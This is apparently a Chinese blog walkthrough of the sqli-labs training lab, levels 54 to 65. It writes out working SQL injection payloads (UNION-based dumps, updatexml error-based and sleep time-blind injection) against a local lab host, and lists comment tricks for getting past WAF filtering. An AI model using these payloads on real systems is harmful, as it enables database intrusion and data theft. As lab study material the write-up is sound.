less-54

从54关开始,就是提升巩固的关卡,并且开始慢慢偏向实际。

第54关就是对输入的次数做了限制,需要在十次之内获取信息,否则就会刷新表名列名等信息。

以下的步骤截图就直接从上帝视角截图说明了:

判断出数据格式为单引号包裹,然后判断列数:

http://192.168.0.105/sqli-labs/Less-54/?id=1'  order by 3--+ 可知为三列:

查出当前数据库:http://192.168.0.105/sqli-labs/Less-54/?id=0'  union  select 1,2,database()--+

爆出表名:http://192.168.0.105/sqli-labs/Less-54/?id=0' union select 1,2,(group_concat(table_name)) from information_schema.tables where table_schema =0x6368616c6c656e676573--+

然后得到列名:http://192.168.0.105/sqli-labs/Less-54/?id=0' union select 1,2,(group_concat(column_name)) from information_schema.columns where table_name ='46i5jkx2ev' --+

取出数据:http://192.168.0.105/sqli-labs/Less-54/?id=0' union select 1,2,(group_concat( concat_ws(0x7e,sessid,secret_DHPM,tryy)  )) from challenges.46i5jkx2ev --+

输入拿到的secret:

通关完毕。

less-55

这次是14次。

数据格式变成id=(1),其他步骤均相同

less-56

数据格式变成id=(‘1’),其他步骤均相同

less-57

这次还是14次。

数据格式变成id=“1”,其他步骤均相同

less-58


本关不能使用联合查询,并且要求在5次之内获得数据。

使用报错注入:

获得表名:之前已经知道数据库的名字是challenges

http://192.168.0.105/sqli-labs/Less-58/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES') ),1)--+

获取字段:http://192.168.0.105/sqli-labs/Less-58/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from Information_schema.columns where table_name='4agntk4sfa' )),1)--+

获取字段的值:http://192.168.0.105/sqli-labs/Less-58/?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_IZV9) from challenges.ptji029en9 )),1)--+

因为中间次数超了,重新开始了一下所以表名不一样。

完成。

less-59

同样是使用报错注入,区别在于对id值得处理,id=1,就是没有包裹。

less-60 

同样是使用报错注入,区别在于对id值得处理,id=(“1”),他只给了五次机会,如果没有使用输出sql语句肯定五次之内猜不到发,所以多试几次可以的。

less-61 

同样是使用报错注入,区别在于对id值得处理,id=((‘1’)),他只给了五次机会,如果没有使用输出sql语句肯定五次之内猜不到发,所以多试几次可以的。

less-62

看到有130次机会就知道要盲注了。他题目中已经给出了数据库名,所以再猜解表名,字段名和值就可以了,这里简单演示:
http://192.168.0.105/sqli-labs/Less-62/?id=1') and if( left( (select table_name from information_schema.tables where table_schema='CHALLENGES' limit 0,1),1)> 'a' ,1, sleep(5)) --+

less-63

同样是延时注入,只是对于id值的处理不同:

SELECT * FROM security.users WHERE id='1' LIMIT 0,1

less-64

同样是延时注入,只是对于id值的处理不同:

SELECT * FROM security.users WHERE id=((1)) LIMIT 0,1

less-65

同样是延时注入,只是对于id值的处理不同:

SELECT * FROM security.users WHERE id=("1") LIMIT 0,1

总结:关于sqli-labs的通关结束。但是对于sql注入可能才是刚刚入门的水平,任重而道远~,下面再小小的总结一下知识点。

id或者sort闭合的方式:‘’、“”、()、(’‘)、(“”)、((’‘)),等等吧,根据不同的数据格式判断出不同sql闭合语句。

注释符:--+ --空 # %23  和;%00  有的WAF会使注释符过滤转义,所以需要多记几个

手工注入的几种姿势:报错注入、布尔盲注、时间盲注、读文件、写文件、堆叠注入、一句话木马、参数污染等等等

最新文章

  1. BZOJ2320 : 最多重复子串
  2. 【HDU4630 No Pain No Game】 dp思想+线段树的离线操作
  3. 在spark中操作mysql数据 ---- spark学习之七
  4. 【BZOJ 1087】[SCOI2005]互不侵犯King
  5. Eclipse安装反编译工具JadClipse
  6. 保持Service不被Kill掉的方法--双Service守护 && Android实现双进程守护
  7. [总结]FFMPEG视音频编解码零基础学习方法
  8. oracle数据库管理--对象、角色相关查询
  9. EXEC 和 SP_EXECUTESQL的区别
  10. golang学习和使用经验总结
  11. 对Java框架spring、hibernate、Struts的粗浅理解
  12. 外网登录访问树莓派 Raspberry Pi
  13. SAP 应收票据处理之贴现流程和配置
  14. 设置MessageBox自动关闭
  15. 11 使用Tensorboard显示图片
  16. C++与C语言在结构体上的区别
  17. cassandra运行出现了Unable to gossip with any seeds,cqlsh链接不上,提示connection refused处理办法
  18. 微信小程序-1
  19. C 语言assert使用
  20. Tomcat 400错误 问题集锦

热门文章

  1. Hibernate框架(五)面向对象查询语言和锁
  2. python cv2获取视频第一帧,并转码
  3. Linux学习之路第四天(运行级别)
  4. XCTF WEB backup
  5. cke编辑器插入&ZeroWidthSpace占位字符的问题记录
  6. python 实时监控剪切板,并替换其中的部分内容,重新写入剪切板
  7. 春招后端阿里腾讯字节美团Offer拿来吧你,面试经验分享
  8. 前端开发入门到进阶第三集【js进行url解析】
  9. Unittest方法 -- 测试断言
  10. 初识Stream API + Lambda表达式